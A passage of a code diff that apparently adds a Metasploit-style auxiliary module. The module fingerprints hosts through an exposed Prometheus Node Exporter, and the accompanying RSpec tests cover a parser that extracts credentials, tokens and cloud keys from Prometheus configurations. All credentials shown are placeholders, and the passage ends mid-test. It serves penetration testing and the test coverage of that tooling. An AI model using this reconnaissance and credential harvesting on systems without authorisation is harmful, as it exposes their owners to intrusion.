') + ) + + vprint_good("#{peer} - Prometheus Node Exporter version: #{Regexp.last_match(1)}") if res.body =~ /version=([\d.]+)/ + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'metrics'), + 'method' => 'GET' + ) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (response code #{res.code})") unless res.code == 200 + + results = process_results_page(res.body) + + if results.nil? || results == [] + print_bad("#{peer} - No metric data found") + return + end + + table_network = Rex::Text::Table.new( + 'Header' => 'Network Interfaces', + 'Indent' => 2, + 'Columns' => + [ + 'Device', + 'MAC', + 'Broadcast', + 'State', + ] + ) + + table_fs = Rex::Text::Table.new( + 'Header' => 'File Systems', + 'Indent' => 2, + 'Columns' => + [ + 'Device', + 'Mount Point', + 'FS Type', + ] + ) + + table_bios = Rex::Text::Table.new( + 'Header' => 'BIOS Information', + 'Indent' => 2, + 'Columns' => + [ + 'Field', + 'Value', + ] + ) + + table_os = Rex::Text::Table.new( + 'Header' => 'OS Information', + 'Indent' => 2, + 'Columns' => + [ + 'Field', + 'Value', + ] + ) + + table_uname = Rex::Text::Table.new( + 'Header' => 'uname Information', + 'Indent' => 2, + 'Columns' => + [ + 'Field', + 'Value', + ] + ) + + table_windows_domain = Rex::Text::Table.new( + 'Header' => 'Domain Information', + 'Indent' => 2, + 'Columns' => + [ + 'Field', + 'Value', + ] + ) + + table_device_mapper = Rex::Text::Table.new( + 'Header' => 'Disk Device Mapper Information', + 'Indent' => 2, + 'Columns' => + [ + 'Device', + 'Name', + 'Logical Volume Name', + 'UUID' + ] + ) + + table_network_route = Rex::Text::Table.new( + 'Header' => 'Network Route Information', + 'Indent' => 2, + 'Columns' => + [ + 'Device', + 'IP', + 'Gateway', + 'Network' + ] + ) + + table_systemd = Rex::Text::Table.new( + 'Header' => 'Systemd Information', + 'Indent' => 2, + 'Columns' => + [ + 'Service', + 'State', + 'Permission' + ] + ) + + table_windows_cpu = Rex::Text::Table.new( + 'Header' => 'CPU Information', + 'Indent' => 2, + 'Columns' => + [ + 'Field', + 'Value', + ] + ) + + results.each do |result| + if result['go_info'] + print_good("Go Version: #{result.dig('go_info', 'labels', 'version')}") + elsif result['node_selinux_enabled'] + print_good("SELinux enabled: #{result.dig('node_selinux_enabled', 'value')}") + elsif result['node_time_zone_offset_seconds'] + print_good("Timezone: #{result.dig('node_time_zone_offset_seconds', 'labels', 'time_zone')}") + elsif result['windows_os_timezone'] + print_good("Timezone: #{result.dig('windows_os_timezone', 'labels', 'timezone')}") + elsif result['node_dmi_info'] + table_bios << ['Date', result.dig('node_dmi_info', 'labels', 'bios_date')] + table_bios << ['Vendor', result.dig('node_dmi_info', 'labels', 'bios_vendor')] + table_bios << ['Version', result.dig('node_dmi_info', 'labels', 'bios_version')] + table_bios << ['Asset Tag', result.dig('node_dmi_info', 'labels', 'board_asset_tag')] + table_bios << ['Board Vendor', result.dig('node_dmi_info', 'labels', 'board_vendor')] + table_bios << ['Board Name', result.dig('node_dmi_info', 'labels', 'board_name')] + table_bios << ['Board Version', result.dig('node_dmi_info', 'labels', 'board_version')] + table_bios << ['Chassis Asset Tag', result.dig('node_dmi_info', 'labels', 'chassis_asset_tag')] + table_bios << ['Chassis Vendor', result.dig('node_dmi_info', 'labels', 'chassis_vendor')] + table_bios << ['Product Family', result.dig('node_dmi_info', 'labels', 'product_family')] + table_bios << ['Product Name', result.dig('node_dmi_info', 'labels', 'product_name')] + table_bios << ['System Vendor', result.dig('node_dmi_info', 'labels', 'system_vendor')] + elsif result['node_filesystem_avail_bytes'] + table_fs << [ + result.dig('node_filesystem_avail_bytes', 'labels', 'device'), + result.dig('node_filesystem_avail_bytes', 'labels', 'mountpoint'), + result.dig('node_filesystem_avail_bytes', 'labels', 'fstype'), + ] + elsif result['node_filesystem_avail'] # version 0.15.2 + table_fs << [ + result.dig('node_filesystem_avail', 'labels', 'device'), + result.dig('node_filesystem_avail', 'labels', 'mountpoint'), + result.dig('node_filesystem_avail', 'labels', 'fstype'), + ] + elsif result['windows_logical_disk_size_bytes'] + table_fs << [ + '', + result.dig('windows_logical_disk_size_bytes', 'labels', 'volume'), + '', + ] + elsif result['node_network_info'] + table_network << [ + result.dig('node_network_info', 'labels', 'device'), + result.dig('node_network_info', 'labels', 'address'), + result.dig('node_network_info', 'labels', 'broadcast'), + result.dig('node_network_info', 'labels', 'operstate') + ] + elsif result['node_os_info'] + table_os << ['Family', result.dig('node_os_info', 'labels', 'id')] + table_os << ['Name', result.dig('node_os_info', 'labels', 'name')] + table_os << ['Version', result.dig('node_os_info', 'labels', 'version')] + table_os << ['Version ID', result.dig('node_os_info', 'labels', 'version_id')] + table_os << ['Version Codename', result.dig('node_os_info', 'labels', 'version_codename')] + table_os << ['Pretty Name', result.dig('node_os_info', 'labels', 'pretty_name')] + elsif result['windows_os_info'] + table_os << ['Product', result.dig('windows_os_info', 'labels', 'product')] + table_os << ['Version', result.dig('windows_os_info', 'labels', 'version')] + table_os << ['Build Number', result.dig('windows_os_info', 'labels', 'build_number')] + elsif result['node_uname_info'] + table_uname << ['Domain Name', result.dig('node_uname_info', 'labels', 'domainname')] + table_uname << ['Arch', result.dig('node_uname_info', 'labels', 'machine')] + table_uname << ['Release', result.dig('node_uname_info', 'labels', 'release')] + table_uname << ['OS Type', result.dig('node_uname_info', 'labels', 'sysname')] + table_uname << ['Version', result.dig('node_uname_info', 'labels', 'version')] + table_uname << ['Node Name', result.dig('node_uname_info', 'labels', 'nodename')] + elsif result['windows_cs_hostname'] + table_windows_domain << ['Domain Name', result.dig('windows_cs_hostname', 'labels', 'domain')] + table_windows_domain << ['FQDN', result.dig('windows_cs_hostname', 'labels', 'fqdn')] + table_windows_domain << ['Hostname', result.dig('windows_cs_hostname', 'labels', 'hostname')] + elsif result['node_disk_device_mapper_info'] + table_device_mapper << [ + result.dig('node_disk_device_mapper_info', 'labels', 'device'), + result.dig('node_disk_device_mapper_info', 'labels', 'name'), + result.dig('node_disk_device_mapper_info', 'labels', 'lv_name'), + result.dig('node_disk_device_mapper_info', 'labels', 'uuid'), + ] + elsif result['node_network_route_info'] + table_network_route << [ + result.dig('node_network_route_info', 'labels', 'device'), + result.dig('node_network_route_info', 'labels', 'src'), + result.dig('node_network_route_info', 'labels', 'gw'), + result.dig('node_network_route_info', 'labels', 'dest'), + ] + elsif result['windows_net_bytes_sent_total'] + table_network_route << [ + result.dig('windows_net_bytes_sent_total', 'labels', 'nic'), + '', + '', + '', + ] + elsif result['node_systemd_unit_state'] + # these come back in groups of 4-5 where the value is 0 if a state isn't enabled. + # we only care about state 1 because thats what that service is at run time + if result.dig('node_systemd_unit_state', 'value') == '1' + table_systemd << [ + result.dig('node_systemd_unit_state', 'labels', 'name'), + result.dig('node_systemd_unit_state', 'labels', 'state'), + '' + ] + end + elsif result['windows_service_info'] + table_systemd << [ + result.dig('windows_service_info', 'labels', 'display_name'), + result.dig('windows_service_info', 'labels', 'process_id') == '0' ? 'inactive' : 'active', + result.dig('windows_service_info', 'labels', 'run_as'), + ] + elsif result['windows_cpu_info'] + table_windows_cpu << ['ID', result.dig('windows_cpu_info', 'labels', 'device_id')] + table_windows_cpu << ['Architecture', result.dig('windows_cpu_info', 'labels', 'architecture')] + table_windows_cpu << ['Description', result.dig('windows_cpu_info', 'labels', 'description')] + table_windows_cpu << ['Name', result.dig('windows_cpu_info', 'labels', 'name')] + + end + end + + [ + table_bios, table_os, table_network, table_windows_domain, table_fs, table_uname, table_windows_cpu, + table_device_mapper, table_network_route, table_systemd, + ].each do |table| + print_good(table.to_s) if !table.rows.empty? + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end +end diff --git a/spec/lib/msf/core/auxiliary/prometheus_spec.rb b/spec/lib/msf/core/auxiliary/prometheus_spec.rb new file mode 100644 index 000000000000..354879e68ce2 --- /dev/null +++ b/spec/lib/msf/core/auxiliary/prometheus_spec.rb @@ -0,0 +1,1282 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +def config_wrapper(config) + { 'scrape_configs' => config } +end + +RSpec.describe Msf::Auxiliary::Prometheus do + class DummyPrometheusClass + include Msf::Auxiliary::Prometheus + def framework + Msf::Simple::Framework.create( + 'ConfigDirectory' => Rails.root.join('spec', 'dummy', 'framework', 'config').to_s, + # don't load any module paths so we can just load the module under test and save time + 'DeferModuleLoads' => true + ) + end + + def active_db? + true + end + + def print_good(_str = nil) + raise StandardError, 'This method needs to be stubbed.' + end + + def store_cred(_hsh = nil) + raise StandardError, 'This method needs to be stubbed.' + end + + def fullname + 'auxiliary/gather/prometheus' + end + + def myworkspace + raise StandardError, 'This method needs to be stubbed.' + end + end + + subject(:aux_prometheus) { DummyPrometheusClass.new } + + let!(:workspace) { FactoryBot.create(:mdm_workspace) } + + context '#create_credential_and_login' do + let(:session) { FactoryBot.create(:mdm_session) } + let(:user) { FactoryBot.create(:mdm_user) } + subject(:test_object) { DummyPrometheusClass.new } + let(:workspace) { FactoryBot.create(:mdm_workspace) } + let(:service) { FactoryBot.create(:mdm_service, host: FactoryBot.create(:mdm_host, workspace: workspace)) } + let(:task) { FactoryBot.create(:mdm_task, workspace: workspace) } + let(:login_data) do + { + address: service.host.address, + port: service.port, + service_name: service.name, + protocol: service.proto, + workspace_id: workspace.id, + origin_type: :service, + module_fullname: 'auxiliary/scanner/smb/smb_login', + realm_key: 'Active Directory Domain', + realm_value: 'contosso', + username: 'Username', + private_data: 'password', + private_type: :password, + status: Metasploit::Model::Login::Status::UNTRIED + } + end + + it 'creates a Metasploit::Credential::Login' do + expect { test_object.create_credential_and_login(login_data) }.to change { Metasploit::Credential::Login.count }.by(1) + end + it 'associates the Metasploit::Credential::Core with a task if passed' do + login = test_object.create_credential_and_login(login_data.merge(task_id: task.id)) + expect(login.tasks).to include(task) + end + + describe '#process_node_exporter_data' do + context 'correctly processes nil' do + it 'returns a nil' do + expect(subject.process_results_page(nil)).to eql(nil) + end + end + + context 'correctly processes non-data lines' do + it 'returns an empty hash' do + expect(subject.process_results_page('# some description')).to eql([]) + end + end + + context 'correctly processes line with no labels and a double value' do + it 'returns a hash' do + expect(subject.process_results_page('go_memstats_alloc_bytes 1.605264e+06')).to eql([{ 'go_memstats_alloc_bytes' => { 'labels' => {}, 'value' => '1.605264e+06' } }]) + end + end + + context 'correctly processes line with no labels and an integer value' do + it 'returns a hash' do + expect(subject.process_results_page('go_memstats_alloc_bytes 1')).to eql([{ 'go_memstats_alloc_bytes' => { 'labels' => {}, 'value' => '1' } }]) + end + end + + context 'correctly processes line with simple label containing empty value' do + it 'returns a hash' do + expect(subject.process_results_page('go_gc_duration_seconds{quantile=""} 2.8197e-05')).to eql([{ 'go_gc_duration_seconds' => { 'value' => '2.8197e-05', 'labels' => { 'quantile' => '' } } }]) + end + end + + context 'correctly processes line with simple label containing value' do + it 'returns a hash' do + expect(subject.process_results_page('go_gc_duration_seconds{quantile="1"} 2.8197e-05')).to eql([{ 'go_gc_duration_seconds' => { 'value' => '2.8197e-05', 'labels' => { 'quantile' => '1' } } }]) + end + end + + context 'correctly processes line with complex label containing values' do + it 'returns a hash' do + expect(subject.process_results_page('node_filesystem_avail_bytes{device="/dev/sda1",fstype="vfat",mountpoint="/boot/efi"} 1.118629888e+09')).to eql([{ 'node_filesystem_avail_bytes' => { 'value' => '1.118629888e+09', 'labels' => { 'device' => '/dev/sda1', 'fstype' => 'vfat', 'mountpoint' => '/boot/efi' } } }]) + end + end + + context 'correctly processes multiple line with complex label containing values' do + it 'returns a hash' do + expect(subject.process_results_page("node_filesystem_avail_bytes{device=\"/dev/sda1\",fstype=\"vfat\",mountpoint=\"/boot/efi\"} 1.118629888e+09\n"\ + 'node_filesystem_avail_bytes{device="/dev/sda2",fstype="vfat",mountpoint="/boot/efi2"} 1.118629888e+09')).to eql([ + { + 'node_filesystem_avail_bytes' => + { + 'labels' => + { 'device' => '/dev/sda1', 'fstype' => 'vfat', 'mountpoint' => '/boot/efi' }, + 'value' => '1.118629888e+09' + } + }, + { + 'node_filesystem_avail_bytes' => + { + 'labels' => + { 'device' => '/dev/sda2', 'fstype' => 'vfat', 'mountpoint' => '/boot/efi2' }, + 'value' => '1.118629888e+09' + } + } + ]) + end + end + end + + # https://raw.githubusercontent.com/prometheus/prometheus/release-2.46/config/testdata/conf.good.yml + context 'prometheus_config_eater correctly processes static_config targets' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: 'localhost', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: 9090, + private_data: 'password', + private_type: :password, + protocol: 'tcp', + service_name: 'https', + status: Metasploit::Model::Login::Status::UNTRIED, + username: 'user', + workspace_id: workspace.id + } + ) + + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: 'localhost', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: 80, + private_data: 'password', + private_type: :password, + protocol: 'tcp', + service_name: 'http', + status: Metasploit::Model::Login::Status::UNTRIED, + username: 'user', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n prometheus static_configs Target localhost 9090 user password\n prometheus static_configs Target localhost 80 user password\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'prometheus', + 'static_configs' => [ + { + 'targets' => [ + 'https://user:password@localhost:9090', + 'http://user:password@localhost', + 'localhost:9191' + ] + } + ] + } + ] + ) + ) + end + end + + context 'prometheus_config_eater correctly processes dns_sd_configs' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: 'first.dns.address.domain.com', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: 443, + private_data: "multiline\nmysecret\ntest", + private_type: :password, + protocol: 'tcp', + service_name: 'https', + status: Metasploit::Model::Login::Status::UNTRIED, + username: 'admin_name', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: 'second.dns.address.domain.com', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: 443, + private_data: "multiline\nmysecret\ntest", + private_type: :password, + protocol: 'tcp', + service_name: 'https', + status: Metasploit::Model::Login::Status::UNTRIED, + username: 'admin_name', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: 'first.dns.address.domain.com', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: 443, + private_data: "multiline\nmysecret\ntest", + private_type: :password, + protocol: 'tcp', + service_name: 'https', + status: Metasploit::Model::Login::Status::UNTRIED, + username: 'admin_name', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n service-x dns_sd_configs first.dns.address.domain.com 443 admin_name multiline\nmysecret\ntest\n service-x dns_sd_configs second.dns.address.domain.com 443 admin_name multiline\nmysecret\ntest\n service-x dns_sd_configs first.dns.address.domain.com 443 admin_name multiline\nmysecret\ntest\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'service-x', + 'basic_auth' => { + 'username' => 'admin_name', + 'password' => "multiline\nmysecret\ntest" + }, + 'scrape_interval' => '50s', + 'scrape_timeout' => '5s', + 'body_size_limit' => '10MB', + 'sample_limit' => 1000, + 'target_limit' => 35, + 'label_limit' => 35, + 'label_name_length_limit' => 210, + 'label_value_length_limit' => 210, + 'metrics_path' => '/my_path', + 'scheme' => 'https', + 'dns_sd_configs' => [ + { + 'refresh_interval' => '15s', + 'names' => [ + 'first.dns.address.domain.com', + 'second.dns.address.domain.com' + ] + }, + { + 'names' => [ + 'first.dns.address.domain.com' + ] + } + ] + } + ] + ) + ) + end + end + + context 'prometheus_config_eater correctly processes consul_sd_configs' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: 'localhost', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: 1234, + private_data: 'mysecret', + private_type: :password, + protocol: 'tcp', + service_name: 'https', + status: Metasploit::Model::Login::Status::UNTRIED, + username: '', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n service-y consul_sd_configs localhost 1234 mysecret Path Prefix: /consul\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'service-y', + 'consul_sd_configs' => [ + { + 'server' => 'localhost:1234', + 'token' => 'mysecret', + 'path_prefix' => '/consul', + 'services' => [ + 'nginx', + 'cache', + 'mysql' + ], + 'tags' => [ + 'canary', + 'v1' + ], + 'node_meta' => { + 'rack' => '123' + }, + 'allow_stale' => true, + 'scheme' => 'https', + 'tls_config' => { + 'ca_file' => 'valid_ca_file', + 'cert_file' => 'valid_cert_file', + 'key_file' => 'valid_key_file', + 'insecure_skip_verify' => false + } + } + ] + } + ] + ) + ) + end + end + + context 'prometheus_config_eater correctly processes authorization' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: '', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: '', + private_data: 'mysecret', + private_type: :password, + protocol: 'tcp', + service_name: '', + status: Metasploit::Model::Login::Status::UNTRIED, + username: '', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n service-z authorization mysecret\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'service-z', + 'tls_config' => { + 'cert_file' => 'valid_cert_file', + 'key_file' => 'valid_key_file' + }, + 'authorization' => { + 'credentials' => 'mysecret' + } + }, + ] + ) + ) + end + end + + context 'prometheus_config_eater correctly processes kubernetes_sd_configs creds in array' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: 'localhost', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: 1234, + private_data: 'mysecret', + private_type: :password, + protocol: 'tcp', + service_name: 'https', + status: Metasploit::Model::Login::Status::UNTRIED, + username: 'myusername', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n service-kubernetes kubernetes_sd_configs localhost 1234 myusername mysecret Role: endpoints\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'service-kubernetes', + 'kubernetes_sd_configs' => [ + { + 'role' => 'endpoints', + 'api_server' => 'https://localhost:1234', + 'tls_config' => { + 'cert_file' => 'valid_cert_file', + 'key_file' => 'valid_key_file' + }, + 'basic_auth' => { + 'username' => 'myusername', + 'password' => 'mysecret' + } + } + ] + }, + ] + ) + ) + end + end + + context 'prometheus_config_eater correctly processes kubernetes_sd_configs creds outside array' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: 'localhost', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: 1234, + private_data: 'valid_password_file', + private_type: :password, + protocol: 'tcp', + service_name: 'https', + status: Metasploit::Model::Login::Status::UNTRIED, + username: 'myusername', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n service-kubernetes-namespaces kubernetes_sd_configs localhost 1234 myusername valid_password_file Role: endpoints\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'service-kubernetes-namespaces', + 'kubernetes_sd_configs' => [ + { + 'role' => 'endpoints', + 'api_server' => 'https://localhost:1234', + 'namespaces' => { + 'names' => [ + 'default' + ] + } + } + ], + 'basic_auth' => { + 'username' => 'myusername', + 'password_file' => 'valid_password_file' + } + }, + ] + ) + ) + end + end + + context 'prometheus_config_eater correctly processes kuma_sd_configs' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: 'kuma-control-plane.kuma-system.svc', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: 5676, + private_data: 'password', + private_type: :password, + protocol: 'tcp', + service_name: 'http', + status: Metasploit::Model::Login::Status::UNTRIED, + username: 'username', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n service-kuma kuma_sd_configs kuma-control-plane.kuma-system.svc 5676 username password\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'service-kuma', + 'kuma_sd_configs' => [ + { + 'server' => 'http://kuma-control-plane.kuma-system.svc:5676' + }, + { + 'server' => 'http://username:password@kuma-control-plane.kuma-system.svc:5676' + } + ] + }, + ] + ) + ) + end + end + + context 'prometheus_config_eater correctly processes service-marathon' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: 'marathon.example.com', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: 443, + private_data: 'mysecret', + private_type: :password, + protocol: 'tcp', + service_name: 'https', + status: Metasploit::Model::Login::Status::UNTRIED, + username: '', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n service-marathon marathon_sd_configs marathon.example.com 443 mysecret\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'service-marathon', + 'marathon_sd_configs' => [ + { + 'servers' => [ + 'https://marathon.example.com:443' + ], + 'auth_token' => 'mysecret', + 'tls_config' => { + 'cert_file' => 'valid_cert_file', + 'key_file' => 'valid_key_file' + } + } + ] + }, + ] + ) + ) + end + end + + context 'prometheus_config_eater correctly processes service-nomad' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: 'localhost', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: 4646, + private_data: 'password', + private_type: :password, + protocol: 'tcp', + service_name: 'http', + status: Metasploit::Model::Login::Status::UNTRIED, + username: 'username', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n service-nomad nomad_sd_configs localhost 4646 username password\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'service-nomad', + 'nomad_sd_configs' => [ + { + 'server' => 'http://username:password@localhost:4646' + } + ] + }, + ] + ) + ) + end + end + + context 'prometheus_config_eater correctly processes ec2_sd_configs' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: '', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: '', + private_data: 'mysecret', + private_type: :password, + protocol: 'tcp', + service_name: '', + status: Metasploit::Model::Login::Status::UNTRIED, + username: 'access', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n service-ec2 ec2_sd_configs access mysecret Region: us-east-1, Profile: profile\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'service-ec2', + 'ec2_sd_configs' => [ + { + 'region' => 'us-east-1', + 'access_key' => 'access', + 'secret_key' => 'mysecret', + 'profile' => 'profile' + } + ] + }, + ] + ) + ) + end + end + + context 'prometheus_config_eater correctly processes lightsail_sd_configs' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: '', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: '', + private_data: 'mysecret', + private_type: :password, + protocol: 'tcp', + service_name: '', + status: Metasploit::Model::Login::Status::UNTRIED, + username: 'access', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n service-lightsail lightsail_sd_configs access mysecret Region: us-east-1, Profile: profile\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'service-lightsail', + 'lightsail_sd_configs' => [ + { + 'region' => 'us-east-1', + 'access_key' => 'access', + 'secret_key' => 'mysecret', + 'profile' => 'profile' + } + ] + }, + ] + ) + ) + end + end + + context 'prometheus_config_eater correctly processes service-azure' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: '', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: 9100, + private_data: 'mysecret', + private_type: :password, + protocol: 'tcp', + service_name: 'OAuth', + status: Metasploit::Model::Login::Status::UNTRIED, + username: '333333CC-3C33-3333-CCC3-33C3CCCCC33C', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n service-azure azure_sd_configs 9100 333333CC-3C33-3333-CCC3-33C3CCCCC33C mysecret Environment: AzurePublicCloud, Subscription ID: 11AAAA11-A11A-111A-A111-1111A1111A11, Resource Group: my-resource-group, Tenant ID: BBBB222B-B2B2-2B22-B222-2BB2222BB2B2\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'service-azure', + 'azure_sd_configs' => [ + { + 'environment' => 'AzurePublicCloud', + 'authentication_method' => 'OAuth', + 'subscription_id' => '11AAAA11-A11A-111A-A111-1111A1111A11', + 'resource_group' => 'my-resource-group', + 'tenant_id' => 'BBBB222B-B2B2-2B22-B222-2BB2222BB2B2', + 'client_id' => '333333CC-3C33-3333-CCC3-33C3CCCCC33C', + 'client_secret' => 'mysecret', + 'port' => 9100 + } + ] + }, + ] + ) + ) + end + end + + context 'prometheus_config_eater correctly processes http_sd_configs' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: 'example1.com', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: 80, + private_data: 'password', + private_type: :password, + protocol: 'tcp', + service_name: 'http', + status: Metasploit::Model::Login::Status::UNTRIED, + username: 'username', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n httpsd http_sd_configs example1.com 80 username password\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'httpsd', + 'http_sd_configs' => [ + { + 'url' => 'http://example2.com/prometheus' + }, + { + 'url' => 'http://username:password@example1.com/prometheus' + } + ] + }, + ] + ) + ) + end + end + + context 'prometheus_config_eater correctly processes digitalocean_sd_configs' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: '', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: '', + private_data: 'abcdef', + private_type: :password, + protocol: 'tcp', + service_name: '', + status: Metasploit::Model::Login::Status::UNTRIED, + username: '', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n digitalocean-droplets digitalocean_sd_configs abcdef\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'digitalocean-droplets', + 'digitalocean_sd_configs' => [ + { + 'authorization' => { + 'credentials' => 'abcdef' + } + } + ] + }, + ] + ) + ) + end + end + + context 'prometheus_config_eater correctly processes hetzner_sd_configs with 